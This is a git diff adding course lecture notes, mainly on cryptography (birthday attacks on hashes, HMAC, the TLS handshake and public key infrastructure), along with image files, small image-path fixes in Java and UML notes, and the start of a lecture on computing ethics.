+- The probability of at least one collision is $1 – P(\textrm{no collision})$.
+ - The probability of a collision with only 23 people is ~50%!
+ - For 40 people it’s ~90%
+- The same principle applies to hash functions, the more hashes computed, the more likely a collision becomes
+
+
+
+#### The Birthday Attack
+
+- The output of the hash must be long enough to avoid a birthday attack
+- Given a hash function outputs $n$ bit hashes
+- You will find a collision after approx $\sqrt{(2^n)}=2^{\frac n2}$ random attempts
+- This means that your bit length needs to be double the size of your desired security margin
+- `SHA-256` therefore offers equivalent security to `AES 128`
+- left at `25:55`
\ No newline at end of file
diff --git a/docs/lectures/cryptography/16_crypto_protocols.md b/docs/lectures/cryptography/16_crypto_protocols.md
new file mode 100644
index 0000000..ea72162
--- /dev/null
+++ b/docs/lectures/cryptography/16_crypto_protocols.md
@@ -0,0 +1,190 @@
+# Cryptographic Protocols
+
+### Message Authentication Codes
+
+- Provide integrity and authenticity - not confidentiality
+ - Protecting system files
+ - Ensuring messages haven’t been altered
+- Calculate a keyed hash of the message, then append this to the end of the message
+
+
+
+#### HMAC
+
+- Double hashing in HMAC avoids length extension attacks
+- $HMAC(k,m) = H((k\oplus opad) || H((k\oplus ipad)||m))$
+
+
+
+#### Authenticated Encryption (AEAD)
+
+- It’s common to attach MACs to the end of ciphertext, that this is now usually built into ciphers as part of AEAD mode
+- You’re often able to authenticate non-encrypted “associated” data too
+
+
+
+## Transport Layer Security
+
+#### SSL/TLS
+
+- TLS is a protocol that provides *authenticated* and *encrypted* sessions
+- Secure Socket Layer (SSL) came first, then after `v3.0` it became TLS
+- Transport Layer Security has two layers
+ 1. The record layer
+ - Using established symmetric keys and other session info, will encrypt application packets, very like IPsec
+ 2. The handshake layer
+ - Used to establish session keys, as well as authenticate either party - usually the server using a public key certificate
+
+##### TLS Handshake
+
+- The TLS handshake allows us to
+ - Establish the master secret
+ - Resume sessions
+ - Authenticate the identity of the server or client
+- This is for TLS 1.2 - ECDHE_RSA
+ - Elliptic curve with Diffie-Hellman ephemeral with RSA
+
+
+
+**ClientHello**
+
+```
+Random nonce: f3bc12ad...
+Supported Ciphers
+{
+TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
+TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
+TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
+}
+[Extensions]
+[Session ID]
+```
+
+**ServerHello**
+
+```Hell
+//Pick maximum version client and server can both do
+Version: 1.2
+Random Number: 16cf43a...
+
+//Server chooses the suite out of the ones listed in client hello
+Suite: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
+[Session ID]
+```
+Random nonce used to stop replay attacks
+
+**Certificate**
+
+The server sends its public-key certificate to the client
+
+> **Client verification**:
+>
+> The client checks that the public key certificate is valid using a root certificate
+
+**ServerKeyExchange**
+
+```
+Elliptic Curve Diffie-Hellman Parameters:
+ Named Curve: secp256r1 (0x0017)
+ DH Public Key: bG
+```
+
+Digital Signature calculated over the DH parameters
+
+> **Authentication**:
+>
+> The client checks that the digital signature is valid
+
+**[Certificate Request]**
+
+Optional request for a certificate and singature from the client - only used in mutual TLS
+
+Imagine two banks communicating where both parties need to prove their identity.
+
+**ServerHelloDone**
+
+Signals that there are no further messages to be sent
+
+**ClientKeyExchange**
+
+DH Public Key: aG
+
+
+
+**[Certificate]**
+
+Optional client certificate, verified by the server using PKI
+
+**[Certificate Verify]**
+
+Digital signature computed over the bytes send in the handshake so far
+
+**Change Cipher Spec**
+
+Signals the change of cipher suite, in this case from no encryption to the agreed encryption
+
+This can also be done when renewing keys
+
+**Finished**
+
+A MAC computed over all handshake messages. Verifies that server and client see the same messages.
+
+Mitigates man-in-the-middle attacks
+
+##### TLS 1.3
+
+**Efficiency**
+
+- Handshake shortened
+- Change cipher spec removed
+- Key exchange sent early in hello messages
+
+**Security**
+
+- All ciphers except AEAD removed
+- Public key and key exchange separated from cipher suites
+- Some handshake messages are encrypted
+
+## Public Key Infrastructure
+
+#### Why do we need PKI?
+
+
+
+#### Digital Certificates
+
+- If we want to use public key cryptography, we need *trust*
+- We can use a trusted third party in order to *verify the ownership of a public key*
+- Primarily managed through Public Key Infrastructure (PKI)
+- Certificates usually held in `X509` format
+
+###### Certificate Issuance
+
+- A server has a public key that they want people to trust
+- Using some subject details, the server creates a Certificate Signing Request (CSR)
+- A Certification Authority (CA) uses this to create and sign a certificate
+
+###### Certificate Use
+
+- The server can supply signatures using the public key, backed by the certificate when requested (during the TLS handshake)
+
+
+
+###### Chains of trust
+
+- To verify the trust in `server.com` certificate, we need to examine the signing certificate
+
+
+
+- In many cases, the chain involves multiple certificates
+- Chains always end in a root certificate, located on your machine
+
+
+
+##### Who manages the Root Certificates?
+
+- Major OS vendors operate *root certificate programs*
+ - Apple for iOS and OS X
+ - Microsoft for Windows
+- Mozilla maintains root certificate store
+ - Used in linux & firefox
diff --git a/docs/lectures/cryptography/img/1644454831.png b/docs/lectures/cryptography/img/1644454831.png
new file mode 100644
index 0000000..69b25d9
Binary files /dev/null and b/docs/lectures/cryptography/img/1644454831.png differ
diff --git a/docs/lectures/cryptography/img/1645042514.png b/docs/lectures/cryptography/img/1645042514.png
new file mode 100644
index 0000000..2c565fe
Binary files /dev/null and b/docs/lectures/cryptography/img/1645042514.png differ
diff --git a/docs/lectures/cryptography/img/1645042957.png b/docs/lectures/cryptography/img/1645042957.png
new file mode 100644
index 0000000..dbd6166
Binary files /dev/null and b/docs/lectures/cryptography/img/1645042957.png differ
diff --git a/docs/lectures/cryptography/img/1645043071.png b/docs/lectures/cryptography/img/1645043071.png
new file mode 100644
index 0000000..1d11ff9
Binary files /dev/null and b/docs/lectures/cryptography/img/1645043071.png differ
diff --git a/docs/lectures/cryptography/img/1645043210.png b/docs/lectures/cryptography/img/1645043210.png
new file mode 100644
index 0000000..c6cec14
Binary files /dev/null and b/docs/lectures/cryptography/img/1645043210.png differ
diff --git a/docs/lectures/cryptography/img/1645043312.png b/docs/lectures/cryptography/img/1645043312.png
new file mode 100644
index 0000000..637c422
Binary files /dev/null and b/docs/lectures/cryptography/img/1645043312.png differ
diff --git a/docs/lectures/cryptography/img/1645043479.png b/docs/lectures/cryptography/img/1645043479.png
new file mode 100644
index 0000000..b6bed56
Binary files /dev/null and b/docs/lectures/cryptography/img/1645043479.png differ
diff --git a/docs/lectures/cryptography/img/1645043523.png b/docs/lectures/cryptography/img/1645043523.png
new file mode 100644
index 0000000..89571a8
Binary files /dev/null and b/docs/lectures/cryptography/img/1645043523.png differ
diff --git a/docs/lectures/cryptography/img/1645044034.png b/docs/lectures/cryptography/img/1645044034.png
new file mode 100644
index 0000000..e0bc399
Binary files /dev/null and b/docs/lectures/cryptography/img/1645044034.png differ
diff --git a/docs/lectures/cryptography/img/1645044122.png b/docs/lectures/cryptography/img/1645044122.png
new file mode 100644
index 0000000..8741a65
Binary files /dev/null and b/docs/lectures/cryptography/img/1645044122.png differ
diff --git a/docs/lectures/cryptography/img/1645044186.png b/docs/lectures/cryptography/img/1645044186.png
new file mode 100644
index 0000000..55b1747
Binary files /dev/null and b/docs/lectures/cryptography/img/1645044186.png differ
diff --git a/docs/lectures/cryptography/img/1645044333.png b/docs/lectures/cryptography/img/1645044333.png
new file mode 100644
index 0000000..37c66da
Binary files /dev/null and b/docs/lectures/cryptography/img/1645044333.png differ
diff --git a/docs/lectures/cryptography/img/1645044443.png b/docs/lectures/cryptography/img/1645044443.png
new file mode 100644
index 0000000..3e0b3ce
Binary files /dev/null and b/docs/lectures/cryptography/img/1645044443.png differ
diff --git a/docs/lectures/cryptography/img/1645044919.png b/docs/lectures/cryptography/img/1645044919.png
new file mode 100644
index 0000000..4e40aa1
Binary files /dev/null and b/docs/lectures/cryptography/img/1645044919.png differ
diff --git a/docs/lectures/cryptography/img/1645476128.png b/docs/lectures/cryptography/img/1645476128.png
new file mode 100644
index 0000000..b41b266
Binary files /dev/null and b/docs/lectures/cryptography/img/1645476128.png differ
diff --git a/docs/lectures/cryptography/img/1645476385.png b/docs/lectures/cryptography/img/1645476385.png
new file mode 100644
index 0000000..580be6a
Binary files /dev/null and b/docs/lectures/cryptography/img/1645476385.png differ
diff --git a/docs/lectures/cryptography/img/1645477137.png b/docs/lectures/cryptography/img/1645477137.png
new file mode 100644
index 0000000..0f7ac90
Binary files /dev/null and b/docs/lectures/cryptography/img/1645477137.png differ
diff --git a/docs/lectures/cryptography/img/1645477221.png b/docs/lectures/cryptography/img/1645477221.png
new file mode 100644
index 0000000..3cb4342
Binary files /dev/null and b/docs/lectures/cryptography/img/1645477221.png differ
diff --git a/docs/lectures/cryptography/img/1645477338.png b/docs/lectures/cryptography/img/1645477338.png
new file mode 100644
index 0000000..e41a5bc
Binary files /dev/null and b/docs/lectures/cryptography/img/1645477338.png differ
diff --git a/docs/lectures/cryptography/img/1645477760.png b/docs/lectures/cryptography/img/1645477760.png
new file mode 100644
index 0000000..0457b43
Binary files /dev/null and b/docs/lectures/cryptography/img/1645477760.png differ
diff --git a/docs/lectures/cryptography/img/1645478048.png b/docs/lectures/cryptography/img/1645478048.png
new file mode 100644
index 0000000..3e7825a
Binary files /dev/null and b/docs/lectures/cryptography/img/1645478048.png differ
diff --git a/docs/lectures/cryptography/img/1645478296.png b/docs/lectures/cryptography/img/1645478296.png
new file mode 100644
index 0000000..3417256
Binary files /dev/null and b/docs/lectures/cryptography/img/1645478296.png differ
diff --git a/docs/lectures/cryptography/img/1645479017.png b/docs/lectures/cryptography/img/1645479017.png
new file mode 100644
index 0000000..257a2ba
Binary files /dev/null and b/docs/lectures/cryptography/img/1645479017.png differ
diff --git a/docs/lectures/cryptography/img/1645479256.png b/docs/lectures/cryptography/img/1645479256.png
new file mode 100644
index 0000000..cf23d36
Binary files /dev/null and b/docs/lectures/cryptography/img/1645479256.png differ
diff --git a/docs/lectures/cryptography/img/1646405235.png b/docs/lectures/cryptography/img/1646405235.png
new file mode 100644
index 0000000..aee5a82
Binary files /dev/null and b/docs/lectures/cryptography/img/1646405235.png differ
diff --git a/docs/lectures/cryptography/img/1646405270.png b/docs/lectures/cryptography/img/1646405270.png
new file mode 100644
index 0000000..8d71d08
Binary files /dev/null and b/docs/lectures/cryptography/img/1646405270.png differ
diff --git a/docs/lectures/cryptography/img/1646408037.png b/docs/lectures/cryptography/img/1646408037.png
new file mode 100644
index 0000000..2cd5bb4
Binary files /dev/null and b/docs/lectures/cryptography/img/1646408037.png differ
diff --git a/docs/lectures/cryptography/img/1646408405.png b/docs/lectures/cryptography/img/1646408405.png
new file mode 100644
index 0000000..38057d7
Binary files /dev/null and b/docs/lectures/cryptography/img/1646408405.png differ
diff --git a/docs/lectures/cryptography/img/1646490755.png b/docs/lectures/cryptography/img/1646490755.png
new file mode 100644
index 0000000..acf7035
Binary files /dev/null and b/docs/lectures/cryptography/img/1646490755.png differ
diff --git a/docs/lectures/cryptography/img/1646491291.png b/docs/lectures/cryptography/img/1646491291.png
new file mode 100644
index 0000000..8e67a0b
Binary files /dev/null and b/docs/lectures/cryptography/img/1646491291.png differ
diff --git a/docs/lectures/cryptography/img/1646491556.png b/docs/lectures/cryptography/img/1646491556.png
new file mode 100644
index 0000000..17c02ca
Binary files /dev/null and b/docs/lectures/cryptography/img/1646491556.png differ
diff --git a/docs/lectures/cryptography/img/1646491900.png b/docs/lectures/cryptography/img/1646491900.png
new file mode 100644
index 0000000..a28f0ad
Binary files /dev/null and b/docs/lectures/cryptography/img/1646491900.png differ
diff --git a/docs/lectures/cryptography/img/1646491995.png b/docs/lectures/cryptography/img/1646491995.png
new file mode 100644
index 0000000..5474870
Binary files /dev/null and b/docs/lectures/cryptography/img/1646491995.png differ
diff --git a/docs/lectures/cryptography/img/1646492564.png b/docs/lectures/cryptography/img/1646492564.png
new file mode 100644
index 0000000..0de12f1
Binary files /dev/null and b/docs/lectures/cryptography/img/1646492564.png differ
diff --git a/docs/lectures/cryptography/img/1646492734.png b/docs/lectures/cryptography/img/1646492734.png
new file mode 100644
index 0000000..8a6c22e
Binary files /dev/null and b/docs/lectures/cryptography/img/1646492734.png differ
diff --git a/docs/lectures/cryptography/img/1646493181.png b/docs/lectures/cryptography/img/1646493181.png
new file mode 100644
index 0000000..db103b3
Binary files /dev/null and b/docs/lectures/cryptography/img/1646493181.png differ
diff --git a/docs/lectures/cryptography/img/1646493375.png b/docs/lectures/cryptography/img/1646493375.png
new file mode 100644
index 0000000..8cb72de
Binary files /dev/null and b/docs/lectures/cryptography/img/1646493375.png differ
diff --git a/docs/lectures/cryptography/img/1646749511.png b/docs/lectures/cryptography/img/1646749511.png
new file mode 100644
index 0000000..d55e4c8
Binary files /dev/null and b/docs/lectures/cryptography/img/1646749511.png differ
diff --git a/docs/lectures/cryptography/img/1646749909.png b/docs/lectures/cryptography/img/1646749909.png
new file mode 100644
index 0000000..9f472fd
Binary files /dev/null and b/docs/lectures/cryptography/img/1646749909.png differ
diff --git a/docs/lectures/cryptography/img/1646750135.png b/docs/lectures/cryptography/img/1646750135.png
new file mode 100644
index 0000000..b7207c4
Binary files /dev/null and b/docs/lectures/cryptography/img/1646750135.png differ
diff --git a/docs/lectures/cryptography/img/1646750265.png b/docs/lectures/cryptography/img/1646750265.png
new file mode 100644
index 0000000..59b9ac7
Binary files /dev/null and b/docs/lectures/cryptography/img/1646750265.png differ
diff --git a/docs/lectures/cryptography/img/1646750428.png b/docs/lectures/cryptography/img/1646750428.png
new file mode 100644
index 0000000..542dee3
Binary files /dev/null and b/docs/lectures/cryptography/img/1646750428.png differ
diff --git a/docs/lectures/cryptography/img/1646750496.png b/docs/lectures/cryptography/img/1646750496.png
new file mode 100644
index 0000000..46498d5
Binary files /dev/null and b/docs/lectures/cryptography/img/1646750496.png differ
diff --git a/docs/lectures/cryptography/img/1646750796.png b/docs/lectures/cryptography/img/1646750796.png
new file mode 100644
index 0000000..a2f90ce
Binary files /dev/null and b/docs/lectures/cryptography/img/1646750796.png differ
diff --git a/docs/lectures/cryptography/img/1646750960.png b/docs/lectures/cryptography/img/1646750960.png
new file mode 100644
index 0000000..f7f554b
Binary files /dev/null and b/docs/lectures/cryptography/img/1646750960.png differ
diff --git a/docs/lectures/cryptography/img/1646751224.png b/docs/lectures/cryptography/img/1646751224.png
new file mode 100644
index 0000000..a4a1ab9
Binary files /dev/null and b/docs/lectures/cryptography/img/1646751224.png differ
diff --git a/docs/lectures/cryptography/img/1646751533.png b/docs/lectures/cryptography/img/1646751533.png
new file mode 100644
index 0000000..4a93749
Binary files /dev/null and b/docs/lectures/cryptography/img/1646751533.png differ
diff --git a/docs/lectures/cryptography/img/1646751658.png b/docs/lectures/cryptography/img/1646751658.png
new file mode 100644
index 0000000..d39a372
Binary files /dev/null and b/docs/lectures/cryptography/img/1646751658.png differ
diff --git a/docs/lectures/cryptography/img/1646751676.png b/docs/lectures/cryptography/img/1646751676.png
new file mode 100644
index 0000000..ff72d39
Binary files /dev/null and b/docs/lectures/cryptography/img/1646751676.png differ
diff --git a/docs/lectures/cryptography/img/1646751843.png b/docs/lectures/cryptography/img/1646751843.png
new file mode 100644
index 0000000..9043553
Binary files /dev/null and b/docs/lectures/cryptography/img/1646751843.png differ
diff --git a/docs/lectures/cryptography/img/1646751954.png b/docs/lectures/cryptography/img/1646751954.png
new file mode 100644
index 0000000..4948147
Binary files /dev/null and b/docs/lectures/cryptography/img/1646751954.png differ
diff --git a/docs/lectures/cryptography/img/1646752433.png b/docs/lectures/cryptography/img/1646752433.png
new file mode 100644
index 0000000..2587054
Binary files /dev/null and b/docs/lectures/cryptography/img/1646752433.png differ
diff --git a/docs/lectures/cryptography/img/1646755531.png b/docs/lectures/cryptography/img/1646755531.png
new file mode 100644
index 0000000..c2a4a30
Binary files /dev/null and b/docs/lectures/cryptography/img/1646755531.png differ
diff --git a/docs/lectures/cryptography/img/1646755650.png b/docs/lectures/cryptography/img/1646755650.png
new file mode 100644
index 0000000..e97f389
Binary files /dev/null and b/docs/lectures/cryptography/img/1646755650.png differ
diff --git a/docs/lectures/cryptography/img/1646756075.png b/docs/lectures/cryptography/img/1646756075.png
new file mode 100644
index 0000000..32dfbd1
Binary files /dev/null and b/docs/lectures/cryptography/img/1646756075.png differ
diff --git a/docs/lectures/cryptography/img/1646757043.png b/docs/lectures/cryptography/img/1646757043.png
new file mode 100644
index 0000000..9c836c8
Binary files /dev/null and b/docs/lectures/cryptography/img/1646757043.png differ
diff --git a/docs/lectures/cryptography/img/1646757908.png b/docs/lectures/cryptography/img/1646757908.png
new file mode 100644
index 0000000..cca17d2
Binary files /dev/null and b/docs/lectures/cryptography/img/1646757908.png differ
diff --git a/docs/lectures/cryptography/img/1646758001.png b/docs/lectures/cryptography/img/1646758001.png
new file mode 100644
index 0000000..606cd7c
Binary files /dev/null and b/docs/lectures/cryptography/img/1646758001.png differ
diff --git a/docs/lectures/cryptography/img/1647283829.png b/docs/lectures/cryptography/img/1647283829.png
new file mode 100644
index 0000000..6d14023
Binary files /dev/null and b/docs/lectures/cryptography/img/1647283829.png differ
diff --git a/docs/lectures/cryptography/img/1647283883.png b/docs/lectures/cryptography/img/1647283883.png
new file mode 100644
index 0000000..a9cc294
Binary files /dev/null and b/docs/lectures/cryptography/img/1647283883.png differ
diff --git a/docs/lectures/cryptography/img/1647285406.png b/docs/lectures/cryptography/img/1647285406.png
new file mode 100644
index 0000000..fde0a94
Binary files /dev/null and b/docs/lectures/cryptography/img/1647285406.png differ
diff --git a/docs/lectures/cryptography/img/1647285527.png b/docs/lectures/cryptography/img/1647285527.png
new file mode 100644
index 0000000..c8c9f2f
Binary files /dev/null and b/docs/lectures/cryptography/img/1647285527.png differ
diff --git a/docs/lectures/cryptography/img/1647285650.png b/docs/lectures/cryptography/img/1647285650.png
new file mode 100644
index 0000000..58ea3a2
Binary files /dev/null and b/docs/lectures/cryptography/img/1647285650.png differ
diff --git a/docs/lectures/cryptography/img/1647359471.png b/docs/lectures/cryptography/img/1647359471.png
new file mode 100644
index 0000000..e518d29
Binary files /dev/null and b/docs/lectures/cryptography/img/1647359471.png differ
diff --git a/docs/lectures/cryptography/img/1647896060.png b/docs/lectures/cryptography/img/1647896060.png
new file mode 100644
index 0000000..3d60f9e
Binary files /dev/null and b/docs/lectures/cryptography/img/1647896060.png differ
diff --git a/docs/lectures/cryptography/img/1647896303.png b/docs/lectures/cryptography/img/1647896303.png
new file mode 100644
index 0000000..d8793bd
Binary files /dev/null and b/docs/lectures/cryptography/img/1647896303.png differ
diff --git a/docs/lectures/cryptography/img/1647896385.png b/docs/lectures/cryptography/img/1647896385.png
new file mode 100644
index 0000000..dd15016
Binary files /dev/null and b/docs/lectures/cryptography/img/1647896385.png differ
diff --git a/docs/lectures/cryptography/img/1647897774.png b/docs/lectures/cryptography/img/1647897774.png
new file mode 100644
index 0000000..d179fa4
Binary files /dev/null and b/docs/lectures/cryptography/img/1647897774.png differ
diff --git a/docs/lectures/cryptography/img/1647897899.png b/docs/lectures/cryptography/img/1647897899.png
new file mode 100644
index 0000000..60baf7f
Binary files /dev/null and b/docs/lectures/cryptography/img/1647897899.png differ
diff --git a/docs/lectures/cryptography/img/1647962887.png b/docs/lectures/cryptography/img/1647962887.png
new file mode 100644
index 0000000..1efa72a
Binary files /dev/null and b/docs/lectures/cryptography/img/1647962887.png differ
diff --git a/docs/lectures/cryptography/img/1647963097.png b/docs/lectures/cryptography/img/1647963097.png
new file mode 100644
index 0000000..f4d05f8
Binary files /dev/null and b/docs/lectures/cryptography/img/1647963097.png differ
diff --git a/docs/lectures/cryptography/img/1647967464.png b/docs/lectures/cryptography/img/1647967464.png
new file mode 100644
index 0000000..206bc6f
Binary files /dev/null and b/docs/lectures/cryptography/img/1647967464.png differ
diff --git a/docs/lectures/cryptography/img/1647967505.png b/docs/lectures/cryptography/img/1647967505.png
new file mode 100644
index 0000000..9f23f95
Binary files /dev/null and b/docs/lectures/cryptography/img/1647967505.png differ
diff --git a/docs/lectures/cryptography/img/1647967660.png b/docs/lectures/cryptography/img/1647967660.png
new file mode 100644
index 0000000..692b537
Binary files /dev/null and b/docs/lectures/cryptography/img/1647967660.png differ
diff --git a/docs/lectures/cryptography/img/1647967755.png b/docs/lectures/cryptography/img/1647967755.png
new file mode 100644
index 0000000..be61c59
Binary files /dev/null and b/docs/lectures/cryptography/img/1647967755.png differ
diff --git a/docs/lectures/cryptography/img/1647967806.png b/docs/lectures/cryptography/img/1647967806.png
new file mode 100644
index 0000000..347a6c0
Binary files /dev/null and b/docs/lectures/cryptography/img/1647967806.png differ
diff --git a/docs/lectures/cryptography/img/1647967869.png b/docs/lectures/cryptography/img/1647967869.png
new file mode 100644
index 0000000..f7b4208
Binary files /dev/null and b/docs/lectures/cryptography/img/1647967869.png differ
diff --git a/docs/lectures/cryptography/img/1648484059.png b/docs/lectures/cryptography/img/1648484059.png
new file mode 100644
index 0000000..0753477
Binary files /dev/null and b/docs/lectures/cryptography/img/1648484059.png differ
diff --git a/docs/lectures/cryptography/img/1648486510.png b/docs/lectures/cryptography/img/1648486510.png
new file mode 100644
index 0000000..a1f9a47
Binary files /dev/null and b/docs/lectures/cryptography/img/1648486510.png differ
diff --git a/docs/lectures/cryptography/img/1648486533.png b/docs/lectures/cryptography/img/1648486533.png
new file mode 100644
index 0000000..2a33512
Binary files /dev/null and b/docs/lectures/cryptography/img/1648486533.png differ
diff --git a/docs/lectures/cryptography/img/1648487070.png b/docs/lectures/cryptography/img/1648487070.png
new file mode 100644
index 0000000..a88c691
Binary files /dev/null and b/docs/lectures/cryptography/img/1648487070.png differ
diff --git a/docs/lectures/cryptography/img/1648487312.png b/docs/lectures/cryptography/img/1648487312.png
new file mode 100644
index 0000000..03396a0
Binary files /dev/null and b/docs/lectures/cryptography/img/1648487312.png differ
diff --git a/docs/lectures/cryptography/img/1648487421.png b/docs/lectures/cryptography/img/1648487421.png
new file mode 100644
index 0000000..35e2e6f
Binary files /dev/null and b/docs/lectures/cryptography/img/1648487421.png differ
diff --git a/docs/lectures/cryptography/img/1648752755.png b/docs/lectures/cryptography/img/1648752755.png
new file mode 100644
index 0000000..047e95f
Binary files /dev/null and b/docs/lectures/cryptography/img/1648752755.png differ
diff --git a/docs/lectures/cryptography/img/1649187080.png b/docs/lectures/cryptography/img/1649187080.png
new file mode 100644
index 0000000..246349f
Binary files /dev/null and b/docs/lectures/cryptography/img/1649187080.png differ
diff --git a/docs/lectures/cryptography/img/1649187199.png b/docs/lectures/cryptography/img/1649187199.png
new file mode 100644
index 0000000..140a78e
Binary files /dev/null and b/docs/lectures/cryptography/img/1649187199.png differ
diff --git a/docs/lectures/cryptography/img/1649187906.png b/docs/lectures/cryptography/img/1649187906.png
new file mode 100644
index 0000000..4361e19
Binary files /dev/null and b/docs/lectures/cryptography/img/1649187906.png differ
diff --git a/docs/lectures/cryptography/img/1649187967.png b/docs/lectures/cryptography/img/1649187967.png
new file mode 100644
index 0000000..9e8cf4e
Binary files /dev/null and b/docs/lectures/cryptography/img/1649187967.png differ
diff --git a/docs/lectures/cryptography/img/1649188921.png b/docs/lectures/cryptography/img/1649188921.png
new file mode 100644
index 0000000..163f86e
Binary files /dev/null and b/docs/lectures/cryptography/img/1649188921.png differ
diff --git a/docs/lectures/cryptography/img/1649192054.png b/docs/lectures/cryptography/img/1649192054.png
new file mode 100644
index 0000000..de545eb
Binary files /dev/null and b/docs/lectures/cryptography/img/1649192054.png differ
diff --git a/docs/lectures/cryptography/img/1649192548.png b/docs/lectures/cryptography/img/1649192548.png
new file mode 100644
index 0000000..f6fca1f
Binary files /dev/null and b/docs/lectures/cryptography/img/1649192548.png differ
diff --git a/docs/lectures/cryptography/img/1649192782.png b/docs/lectures/cryptography/img/1649192782.png
new file mode 100644
index 0000000..16749d4
Binary files /dev/null and b/docs/lectures/cryptography/img/1649192782.png differ
diff --git a/docs/lectures/cryptography/img/1649192960.png b/docs/lectures/cryptography/img/1649192960.png
new file mode 100644
index 0000000..c840856
Binary files /dev/null and b/docs/lectures/cryptography/img/1649192960.png differ
diff --git a/docs/lectures/cryptography/img/1649193613.png b/docs/lectures/cryptography/img/1649193613.png
new file mode 100644
index 0000000..c376682
Binary files /dev/null and b/docs/lectures/cryptography/img/1649193613.png differ
diff --git a/docs/lectures/cryptography/img/1649193645.png b/docs/lectures/cryptography/img/1649193645.png
new file mode 100644
index 0000000..1c66f1d
Binary files /dev/null and b/docs/lectures/cryptography/img/1649193645.png differ
diff --git a/docs/lectures/cryptography/img/1649193812.png b/docs/lectures/cryptography/img/1649193812.png
new file mode 100644
index 0000000..0197300
Binary files /dev/null and b/docs/lectures/cryptography/img/1649193812.png differ
diff --git a/docs/lectures/cryptography/img/1649193848.png b/docs/lectures/cryptography/img/1649193848.png
new file mode 100644
index 0000000..5e3576a
Binary files /dev/null and b/docs/lectures/cryptography/img/1649193848.png differ
diff --git a/docs/lectures/cryptography/img/1649193973.png b/docs/lectures/cryptography/img/1649193973.png
new file mode 100644
index 0000000..e4916e1
Binary files /dev/null and b/docs/lectures/cryptography/img/1649193973.png differ
diff --git a/docs/lectures/cryptography/img/1649194470.png b/docs/lectures/cryptography/img/1649194470.png
new file mode 100644
index 0000000..25ef230
Binary files /dev/null and b/docs/lectures/cryptography/img/1649194470.png differ
diff --git a/docs/lectures/cryptography/img/1653664490.png b/docs/lectures/cryptography/img/1653664490.png
new file mode 100644
index 0000000..a80a4e8
Binary files /dev/null and b/docs/lectures/cryptography/img/1653664490.png differ
diff --git a/docs/lectures/cryptography/img/1653664591.png b/docs/lectures/cryptography/img/1653664591.png
new file mode 100644
index 0000000..c71e517
Binary files /dev/null and b/docs/lectures/cryptography/img/1653664591.png differ
diff --git a/docs/lectures/cryptography/img/1653664720.png b/docs/lectures/cryptography/img/1653664720.png
new file mode 100644
index 0000000..aa46113
Binary files /dev/null and b/docs/lectures/cryptography/img/1653664720.png differ
diff --git a/docs/lectures/cryptography/img/1653665054.png b/docs/lectures/cryptography/img/1653665054.png
new file mode 100644
index 0000000..947742a
Binary files /dev/null and b/docs/lectures/cryptography/img/1653665054.png differ
diff --git a/docs/lectures/cryptography/img/1653666093.png b/docs/lectures/cryptography/img/1653666093.png
new file mode 100644
index 0000000..33cdea3
Binary files /dev/null and b/docs/lectures/cryptography/img/1653666093.png differ
diff --git a/docs/lectures/cryptography/img/1653666858.png b/docs/lectures/cryptography/img/1653666858.png
new file mode 100644
index 0000000..c89852c
Binary files /dev/null and b/docs/lectures/cryptography/img/1653666858.png differ
diff --git a/docs/lectures/cryptography/img/1653667138.png b/docs/lectures/cryptography/img/1653667138.png
new file mode 100644
index 0000000..ce016be
Binary files /dev/null and b/docs/lectures/cryptography/img/1653667138.png differ
diff --git a/docs/lectures/cryptography/img/1653667196.png b/docs/lectures/cryptography/img/1653667196.png
new file mode 100644
index 0000000..39e5402
Binary files /dev/null and b/docs/lectures/cryptography/img/1653667196.png differ
diff --git a/docs/lectures/cryptography/img/1653667247.png b/docs/lectures/cryptography/img/1653667247.png
new file mode 100644
index 0000000..b74698d
Binary files /dev/null and b/docs/lectures/cryptography/img/1653667247.png differ
diff --git a/docs/lectures/cryptography/img/IMG_0230.jpg b/docs/lectures/cryptography/img/IMG_0230.jpg
new file mode 100644
index 0000000..8632750
Binary files /dev/null and b/docs/lectures/cryptography/img/IMG_0230.jpg differ
diff --git a/docs/lectures/dms/01_java_collections.md b/docs/lectures/dms/01_java_collections.md
index ee1c231..1cf3b98 100644
--- a/docs/lectures/dms/01_java_collections.md
+++ b/docs/lectures/dms/01_java_collections.md
@@ -91,7 +91,7 @@ public class Compound {
}
```
-
+
*Composition* - The object only exists if the parent object exists, if the parent object is deleted then so is the child object.
The zoo object owns the compound object. If the zoo object is deleted then the compound object is also deleted.
@@ -102,7 +102,7 @@ public class Zoo {
}
```
-
+
**Inheritance**
A way of forming new classes based on existing classes. Has a "is-a" relationship.
@@ -126,7 +126,7 @@ public class Child extends Parent {
The super keyword called the parent class' constructor.
-
+
**What is the difference between an abstract class and an interface**
- Java abstract class can have instance methods that implement a default behaviour. May contain non-final variables.
diff --git a/docs/lectures/dms/02_uml.md b/docs/lectures/dms/02_uml.md
index 8b6ec15..2ec1c45 100644
--- a/docs/lectures/dms/02_uml.md
+++ b/docs/lectures/dms/02_uml.md
@@ -13,7 +13,7 @@ Latest version: **2.6**
- Helps to manage the complexity
- Enables reuse of design
-
+
## Object Orientated Analysis
@@ -49,7 +49,7 @@ Latest version: **2.6**
**Use case diagram of a fleet logistics management company**
-
+
**Base Path** - The optimistic path (best case scenario)
diff --git a/docs/lectures/ethics/01_ethics_intro.md b/docs/lectures/ethics/01_ethics_intro.md
new file mode 100644
index 0000000..bcedf7b
--- /dev/null
+++ b/docs/lectures/ethics/01_ethics_intro.md
@@ -0,0 +1,64 @@
+# Why do we need Professional Ethics
+Computers enable social harm:
+
+
+## Illegal content and activity
+- Terrorism
+ - Crypto-currencies can finance this
+- Organised crime
+ - Phishing and fraud
+ - Information stealing malware
+ - Ransomware and DDoS extortion
+- Domestic Abuse
+ - Abusers can look at devices connected to the internet to control their partner even after they have left the house to establish control
+- Cyber-Bullying
+ - Sending harmful messages/photos to people
+ - Promoting hate
+ - Impersonating another person
+ - *No legal definition of cyber-bullying but still prosecutable*
+- Child sexual exploitation and Abuse
+ - Solicitation, Grooming, Distribution of images & videos
+ - Trafficking
+
+## Impact on health and well being
+
+- Computers can affect physical, social and mental health
+ - Lower physical activity
+ - Increases loneliness
+- Designed for addiction
+ - Click bait
+ - Infinite scroll
+ - Short term dopamine-driven feedback loops - Chamath Palihapitya (ex Facebook VP)
+- Self-harm
+ - Enables people to research self harm methods
+ - Validates negative feelings
+ - Legitimise suicide as an acceptable course of action
+
+## Threats to our way of life
+- Manipulating public opinion
+ - Can be state sanctioned
